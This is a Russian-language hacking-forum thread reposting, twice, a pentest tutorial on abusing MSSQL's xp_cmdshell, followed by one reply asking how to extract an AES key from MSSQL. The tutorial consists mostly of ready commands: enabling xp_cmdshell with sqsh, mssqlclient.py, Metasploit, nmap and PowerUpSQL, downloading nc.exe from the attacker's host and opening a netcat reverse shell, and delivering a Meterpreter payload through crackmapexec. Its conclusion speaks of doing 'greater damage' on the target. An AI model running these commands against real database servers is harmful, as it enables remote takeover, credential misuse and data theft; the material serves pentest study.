• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья MSSQL для пентестера: Выполнение команд с помощью xp_cmdshell

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
MSSQL для пентестера: выполнение команд с помощью xp_cmdshell

Сегодняшняя статья - третья из серии о сервере MSSQL и его тестировании на проникновение. В этой статье мы будем обнаруживать и эксплуатировать аспекты безопасности функциональности xp_cmdshell.

Введение

Все действия в этой статье будут представлены на сервере MSSQL. Ранее мы кратко обсуждали использование функциональности xp_cmdshell с помощью модуля Metasploit: exploit/windows/mssql/mssql_payload. Хотя в этой статье мы не объясняли предысторию функциональности xp_cmdshell и ее аспекта безопасности, которые мы обсудим.

Что такое xp_cmdshell?

Согласно официальной документации Microsoft, xp_cmdshell - это функция, которая порождает командную оболочку Windows и передает строку для выполнения. Любой вывод, который она генерирует, отображается в формате текста. Чтобы упростить, мы можем сказать, что она позволяет администраторам базы данных получать доступ и выполнять любой внешний процесс непосредственно с SQL Server. Реализацию xp_cmdshell можно проследить до SQL Server 6.5. Она была разработана для использования SQL-запросов для автоматизации различных задач, которые потребовали бы дополнительного программирования и работы. Теперь, когда у нас есть некоторые знания о xp_cmdshell, мы можем увидеть, как его можно включить на сервере SQL.

Включение xp_cmdshell

Вручную (через графический интерфейс)

По умолчанию функция xp_cmdshell отключена на сервере SQL. Чтобы включить его, нам нужны права администратора. В примере ниже мы используем учетные данные пользователя SA для входа на сервер SQL.

1638022475305.png


Теперь, когда у нас есть экземпляр SQL, запущенный от имени администратора, нам нужно получить доступ к разделу обозревателя объектов. Здесь у нас есть экземпляр SQL Server; мы щелкаем правой кнопкой мыши по экземпляру, чтобы найти раскрывающееся меню. Нам нужно выбрать опцию "Facets" в этом меню, как показано ниже:
1638022488350.png


При нажатии на опцию Facets откроется новое окно. В нем будет поле с различными типами доступных Facets. Нам нужно выбрать Facets Surface Area Configuration из раскрывающегося меню, как показано на изображении ниже:
1638022503752.png


После выбора строчки surface area configuration мы видим, что для параметра XPCmdShellEnabled установлено значение false.
1638022516211.png


Щелкнув опцию командной оболочки XP, мы изменим ее значение с false на true, как показано на рисунке ниже. Таким образом, мы можем включить командную оболочку XP с помощью графического пользовательского интерфейса на сервере Windows MSSQL.
1638022525614.png


sqsh

Затем мы используем инструмент sqsh на машине kali. Чтобы проверить, включен ли параметр командной оболочки XP на целевой машине или нет. Синтаксис для использования этого инструмента довольно прост: сначала введите sqsh с -S и целевым IP-адресом, затем -U с именем пользователя администратора сервера и -P с паролем для этого конкретного пользователя, как показано на изображении ниже.

sqsh -S 192.168.1.146 -U sa -P "Password@1"
xp_cmdshell 'whoami';
go

1638022553596.png


Как видно из изображения, SQL Server заблокировал доступ к командной оболочке процедуры; поэтому мы включим его сейчас. Чтобы включить командную оболочку XP на целевой машине с помощью SQSH, мы выполним серию команд, которые сначала покажут расширенные параметры, доступные в параметре конфигурации SP. Затем мы выберем опцию командной оболочки XP и активируем ее. Наконец, мы запустим команду reconfigure, которая включит опцию XP на целевой машине, как показано на изображении, приведенном ниже.

EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
go
xp_cmdshell 'whoami';
go

1638022586165.png


Активацию можно проверить, проверив аналогично тому, что мы делали с опцией GUI, как и раньше.
1638022600494.png


mssqlclient.py

MS SQL состоит из служб Windows, имеющих учетные записи служб. Каждый раз, когда устанавливается экземпляр SQLserver, также устанавливается набор служб Windows с уникальными именами. Ниже приведены типы учетных записей SQL Server:

- Windows Accounts
- SQL Server Login
- DB Users

Чтобы использовать mssqlclient.py, нам нужно указать имя пользователя, домен, пароль, целевой IP-адрес и порт, на котором размещается служба MSSQL, как показано на изображении. Здесь мы можем использовать команду enable_xp_cmdshell, чтобы включить функциональность командной оболочки на целевой машине.

python3 mssqlclient.py WORKGROUP/sa:Password@1@192.168.1.146 -port 1433
enable_xp_cmdshell
1638022663545.png


Опять же, мы можем проверить это аналогично тому, как мы это сделали с GUI и подходом sqsh. Здесь мы видим, что мы смогли включить функциональность командной оболочки XP с помощью mssqlclient, который является частью набора инструментов Impact.
1638022679887.png


Ранее mssqlclient.py использовался для подключения к базе данных через учетные данные базы данных с именем пользователя SA. Теперь мы подключаемся к базе данных с помощью учетных данных пользователя Windows.
1638022695208.png


python3 mssqlclient.py ignite:'Password@123'@192.168.1.146 -windows-auth
enable_xp_cmdshell

1638022716214.png


Metasploit

Как обычно, Metasploit также играет свою роль для включения командной оболочки XP и помогает нам эксплуатировать цель и обеспечить сеанс.

use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.146
set password Password@1
exploit

1638022768744.png


Эксплойт не ограничивается простым включением командной оболочки XP. Затем он запускает серию команд, которые могут помочь нам получить оболочку meterpreter на целевой машине, как показано на изображении ниже.

1638022780479.png


Использование xp_cmdshell

Metasploit

Вы можете использовать другой эксплойт mssql_exec, который в первую очередь включает оболочку xp_cmd, и мы также можем установить любую исполняемую команду cmd. Здесь мы устанавливаем команду cmd на "ipconfig"

use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.1.146
set password Password@1
set cmd "ipconfig"
exploit
1638022830509.png



Netcat

Здесь мы можем использовать netcat, чтобы получить реверс соединение на целевой машине. Для этого нам сначала нужно передать двоичный файл netcat на компьютер Windows. Для этого воспользуемся исполняемым файлом nc.exe. Этот файл находится в /usr/share/windows-binaries. Затем мы можем использовать однострочный Python файл для создания службы HTTP.

cd /usr/share/windows-binaries
ls -al
python -m SimpleHTTPServer 80
1638022974517.png


Здесь командлет powershell.exe вызывает PowerShell, а затем использует команду wget для загрузки netcat в каталог C: /Users /Public, который имеет доступ для записи. Затем мы будем использовать командную оболочку XP для выполнения двоичного файла netcat для запуска cmd.exe. Для создания обратного подключения к хосту Kali через порт 4444.

xp_cmdshell "powershell.exe wget http://192.168.1.2/nc.exe -OutFile c:\\Users\Public\\nc.exe"
xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe 192.168.1.2 4444"
1638022997673.png

В Kali Linux у нас есть прослушиватель netcat на порту 4444; как только команда PowerShell выполнится, как показано на скриншоте выше, мы получим оболочку целевой машины.

nc -lvp 4444
whoami

1638023019202.png


Crackmapexec

Другой способ получить реверс соединение на целевой машине с помощью функциональности командной оболочки MSSQL XP - использовать ее способность запускать системные команды, связанные с полезной нагрузкой web_delivery. Процесс довольно простой; мы используем эксплойт exploit/multi/script/web_delivery, устанавливаем цель как машину Windows, затем устанавливаем полезную нагрузку как windows/meterpeter/reverse_tcp. Затем указываем localhost. Наконец, мы запустим команду эксплойта.

use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/revese_tcp
set lhost 192.168.1.2
exploit


1638023039628.png

С помощью вышеупомянутого эксплойта мы получаем URL-адрес web_delivery, и этот URL-адрес мы будем использовать при выполнении crackmapexec, команды web_delivery.

crackmapexec mssql 192.168.1.146 -u 'ignite' -p 'Password@123' -M web_delivery -o URL=http://192.168.1.2:8080/om6cxs3B

1638023076402.png


Вывод crackmapexec показывает, что целевая машина была взломана. Мы можем вернуться к оболочке Metasploit и обнаружить, что цель была успешно взломана, и у нас есть оболочка meterpreter на целевой машине.

1638023088459.png


Nmap

Как мы знаем, функция XP-cmd отключена по умолчанию, но если у нас есть учетные данные системного администратора, мы также можем поиграться со сценарием Nmap для выполнения команд Windows.

nmap -p 1433 –script ms-sql-xp-cmdshell –script-args mssql.username=sa,mssql.passsword=Password@1,ms-sql-xp-cmdshell.cmd=’net user’ 192.168.1.146

1638023114617.png


PowerUpSQL

Сначала загрузите PowerUpSql отсюда https://github.com/NetSPI/PowerUpSQL. PowerUpSQL - это инструмент для компьютеров под управлением Windows, включающий функции, поддерживающие обнаружение SQL Server, аудит слабой конфигурации, повышение привилегий и действия после эксплуатации, такие как выполнение команд ОС.

Мы можем использовать командлет Import-Module для импорта сценария PowerShell. Затем используйте функцию Invoke-SQLOSCmd, которая запускает команды ОС через оболочку xp_cmd через учетную запись службы SQL.

Здесь PowerUpSQL пытается подключиться к базе данных. После успешного подключения скрипт проверяет, являются ли предоставленные нами учетные данные для системного администратора или предоставленные нами обычную пользователи доступ уровня системного администратора или нет. Сначала он включает расширенные параметры, а затем пытается включить командную оболочку XP. Здесь, в этой демонстрации, функциональность команд XP уже включена, поэтому инструмент запускает команду whoami, которая показывает, что мы являемся пользователем и пользователем nt service/MSSQL$sqlexpress.

cd PowerUPSQL-master
powershell
powershell -ep bypass
Import-Module .\PowerUpSQL.ps1
Invoke-SQLOSCmd -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS –Command whoami –Verbose


1638023138812.png

Заключение

Эта статья была разработана, чтобы предоставить пользователям возможный контент, который может помочь им, когда они захотят выполнить тестирование на проникновение на серверах MSSQL, используя функциональные возможности командной оболочки XP. Цель этой статьи не в том, чтобы размышлять о том, как пользователь может получить учетные данные или как повысить уровень доступа до системного администратора. Вместо этого, когда или если пользователь может получить эти привилегии, он может перейти к извлечению и выполнению нескольких команд в целевой системе и нанести больший ущерб.
 

Вложения

  • 1638022864443.png
    1638022864443.png
    20.1 КБ · Просмотры: 5
  • 1638023062048.png
    1638023062048.png
    22.8 КБ · Просмотры: 5
Пожалуйста, обратите внимание, что пользователь заблокирован
MSSQL для пентестера: выполнение команд с помощью xp_cmdshell

Сегодняшняя статья - третья из серии о сервере MSSQL и его тестировании на проникновение. В этой статье мы будем обнаруживать и эксплуатировать аспекты безопасности функциональности xp_cmdshell.

Введение

Все действия в этой статье будут представлены на сервере MSSQL. Ранее мы кратко обсуждали использование функциональности xp_cmdshell с помощью модуля Metasploit: exploit/windows/mssql/mssql_payload. Хотя в этой статье мы не объясняли предысторию функциональности xp_cmdshell и ее аспекта безопасности, которые мы обсудим.

Что такое xp_cmdshell?

Согласно официальной документации Microsoft, xp_cmdshell - это функция, которая порождает командную оболочку Windows и передает строку для выполнения. Любой вывод, который она генерирует, отображается в формате текста. Чтобы упростить, мы можем сказать, что она позволяет администраторам базы данных получать доступ и выполнять любой внешний процесс непосредственно с SQL Server. Реализацию xp_cmdshell можно проследить до SQL Server 6.5. Она была разработана для использования SQL-запросов для автоматизации различных задач, которые потребовали бы дополнительного программирования и работы. Теперь, когда у нас есть некоторые знания о xp_cmdshell, мы можем увидеть, как его можно включить на сервере SQL.

Включение xp_cmdshell

Вручную (через графический интерфейс)

По умолчанию функция xp_cmdshell отключена на сервере SQL. Чтобы включить его, нам нужны права администратора. В примере ниже мы используем учетные данные пользователя SA для входа на сервер SQL.

Посмотреть вложение 28943

Теперь, когда у нас есть экземпляр SQL, запущенный от имени администратора, нам нужно получить доступ к разделу обозревателя объектов. Здесь у нас есть экземпляр SQL Server; мы щелкаем правой кнопкой мыши по экземпляру, чтобы найти раскрывающееся меню. Нам нужно выбрать опцию "Facets" в этом меню, как показано ниже:
Посмотреть вложение 28944

При нажатии на опцию Facets откроется новое окно. В нем будет поле с различными типами доступных Facets. Нам нужно выбрать Facets Surface Area Configuration из раскрывающегося меню, как показано на изображении ниже:
Посмотреть вложение 28945

После выбора строчки surface area configuration мы видим, что для параметра XPCmdShellEnabled установлено значение false.
Посмотреть вложение 28946

Щелкнув опцию командной оболочки XP, мы изменим ее значение с false на true, как показано на рисунке ниже. Таким образом, мы можем включить командную оболочку XP с помощью графического пользовательского интерфейса на сервере Windows MSSQL.
Посмотреть вложение 28947

sqsh

Затем мы используем инструмент sqsh на машине kali. Чтобы проверить, включен ли параметр командной оболочки XP на целевой машине или нет. Синтаксис для использования этого инструмента довольно прост: сначала введите sqsh с -S и целевым IP-адресом, затем -U с именем пользователя администратора сервера и -P с паролем для этого конкретного пользователя, как показано на изображении ниже.

sqsh -S 192.168.1.146 -U sa -P "Password@1"
xp_cmdshell 'whoami';
go

Посмотреть вложение 28948


Как видно из изображения, SQL Server заблокировал доступ к командной оболочке процедуры; поэтому мы включим его сейчас. Чтобы включить командную оболочку XP на целевой машине с помощью SQSH, мы выполним серию команд, которые сначала покажут расширенные параметры, доступные в параметре конфигурации SP. Затем мы выберем опцию командной оболочки XP и активируем ее. Наконец, мы запустим команду reconfigure, которая включит опцию XP на целевой машине, как показано на изображении, приведенном ниже.

EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
go
xp_cmdshell 'whoami';
go

Посмотреть вложение 28949


Активацию можно проверить, проверив аналогично тому, что мы делали с опцией GUI, как и раньше.
Посмотреть вложение 28950

mssqlclient.py

MS SQL состоит из служб Windows, имеющих учетные записи служб. Каждый раз, когда устанавливается экземпляр SQLserver, также устанавливается набор служб Windows с уникальными именами. Ниже приведены типы учетных записей SQL Server:

- Windows Accounts
- SQL Server Login
- DB Users

Чтобы использовать mssqlclient.py, нам нужно указать имя пользователя, домен, пароль, целевой IP-адрес и порт, на котором размещается служба MSSQL, как показано на изображении. Здесь мы можем использовать команду enable_xp_cmdshell, чтобы включить функциональность командной оболочки на целевой машине.

python3 mssqlclient.py WORKGROUP/sa:Password@1@192.168.1.146 -port 1433
enable_xp_cmdshell
Посмотреть вложение 28951


Опять же, мы можем проверить это аналогично тому, как мы это сделали с GUI и подходом sqsh. Здесь мы видим, что мы смогли включить функциональность командной оболочки XP с помощью mssqlclient, который является частью набора инструментов Impact.
Посмотреть вложение 28952

Ранее mssqlclient.py использовался для подключения к базе данных через учетные данные базы данных с именем пользователя SA. Теперь мы подключаемся к базе данных с помощью учетных данных пользователя Windows.
Посмотреть вложение 28953

python3 mssqlclient.py ignite:'Password@123'@192.168.1.146 -windows-auth
enable_xp_cmdshell

Посмотреть вложение 28954


Metasploit

Как обычно, Metasploit также играет свою роль для включения командной оболочки XP и помогает нам эксплуатировать цель и обеспечить сеанс.

use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.146
set password Password@1
exploit

Посмотреть вложение 28955


Эксплойт не ограничивается простым включением командной оболочки XP. Затем он запускает серию команд, которые могут помочь нам получить оболочку meterpreter на целевой машине, как показано на изображении ниже.

Посмотреть вложение 28956

Использование xp_cmdshell

Metasploit

Вы можете использовать другой эксплойт mssql_exec, который в первую очередь включает оболочку xp_cmd, и мы также можем установить любую исполняемую команду cmd. Здесь мы устанавливаем команду cmd на "ipconfig"

use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.1.146
set password Password@1
set cmd "ipconfig"
exploit
Посмотреть вложение 28957



Netcat

Здесь мы можем использовать netcat, чтобы получить реверс соединение на целевой машине. Для этого нам сначала нужно передать двоичный файл netcat на компьютер Windows. Для этого воспользуемся исполняемым файлом nc.exe. Этот файл находится в /usr/share/windows-binaries. Затем мы можем использовать однострочный Python файл для создания службы HTTP.

cd /usr/share/windows-binaries
ls -al
python -m SimpleHTTPServer 80
Посмотреть вложение 28959


Здесь командлет powershell.exe вызывает PowerShell, а затем использует команду wget для загрузки netcat в каталог C: /Users /Public, который имеет доступ для записи. Затем мы будем использовать командную оболочку XP для выполнения двоичного файла netcat для запуска cmd.exe. Для создания обратного подключения к хосту Kali через порт 4444.

xp_cmdshell "powershell.exe wget http://192.168.1.2/nc.exe -OutFile c:\\Users\Public\\nc.exe"
xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe 192.168.1.2 4444"
Посмотреть вложение 28960

В Kali Linux у нас есть прослушиватель netcat на порту 4444; как только команда PowerShell выполнится, как показано на скриншоте выше, мы получим оболочку целевой машины.

nc -lvp 4444
whoami

Посмотреть вложение 28961


Crackmapexec

Другой способ получить реверс соединение на целевой машине с помощью функциональности командной оболочки MSSQL XP - использовать ее способность запускать системные команды, связанные с полезной нагрузкой web_delivery. Процесс довольно простой; мы используем эксплойт exploit/multi/script/web_delivery, устанавливаем цель как машину Windows, затем устанавливаем полезную нагрузку как windows/meterpeter/reverse_tcp. Затем указываем localhost. Наконец, мы запустим команду эксплойта.

use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/revese_tcp
set lhost 192.168.1.2
exploit


Посмотреть вложение 28962
С помощью вышеупомянутого эксплойта мы получаем URL-адрес web_delivery, и этот URL-адрес мы будем использовать при выполнении crackmapexec, команды web_delivery.

crackmapexec mssql 192.168.1.146 -u 'ignite' -p 'Password@123' -M web_delivery -o URL=http://192.168.1.2:8080/om6cxs3B

Посмотреть вложение 28964


Вывод crackmapexec показывает, что целевая машина была взломана. Мы можем вернуться к оболочке Metasploit и обнаружить, что цель была успешно взломана, и у нас есть оболочка meterpreter на целевой машине.

Посмотреть вложение 28965

Nmap

Как мы знаем, функция XP-cmd отключена по умолчанию, но если у нас есть учетные данные системного администратора, мы также можем поиграться со сценарием Nmap для выполнения команд Windows.

nmap -p 1433 –script ms-sql-xp-cmdshell –script-args mssql.username=sa,mssql.passsword=Password@1,ms-sql-xp-cmdshell.cmd=’net user’ 192.168.1.146

Посмотреть вложение 28966


PowerUpSQL

Сначала загрузите PowerUpSql отсюда https://github.com/NetSPI/PowerUpSQL. PowerUpSQL - это инструмент для компьютеров под управлением Windows, включающий функции, поддерживающие обнаружение SQL Server, аудит слабой конфигурации, повышение привилегий и действия после эксплуатации, такие как выполнение команд ОС.

Мы можем использовать командлет Import-Module для импорта сценария PowerShell. Затем используйте функцию Invoke-SQLOSCmd, которая запускает команды ОС через оболочку xp_cmd через учетную запись службы SQL.

Здесь PowerUpSQL пытается подключиться к базе данных. После успешного подключения скрипт проверяет, являются ли предоставленные нами учетные данные для системного администратора или предоставленные нами обычную пользователи доступ уровня системного администратора или нет. Сначала он включает расширенные параметры, а затем пытается включить командную оболочку XP. Здесь, в этой демонстрации, функциональность команд XP уже включена, поэтому инструмент запускает команду whoami, которая показывает, что мы являемся пользователем и пользователем nt service/MSSQL$sqlexpress.

cd PowerUPSQL-master
powershell
powershell -ep bypass
Import-Module .\PowerUpSQL.ps1
Invoke-SQLOSCmd -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS –Command whoami –Verbose


Посмотреть вложение 28967
Заключение

Эта статья была разработана, чтобы предоставить пользователям возможный контент, который может помочь им, когда они захотят выполнить тестирование на проникновение на серверах MSSQL, используя функциональные возможности командной оболочки XP. Цель этой статьи не в том, чтобы размышлять о том, как пользователь может получить учетные данные или как повысить уровень доступа до системного администратора. Вместо этого, когда или если пользователь может получить эти привилегии, он может перейти к извлечению и выполнению нескольких команд в целевой системе и нанести больший ущерб.
может вопрос покажетса странным, а есть способ через пш\цмд достать ключ от шифра (base64(aes256)) в мсскл
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх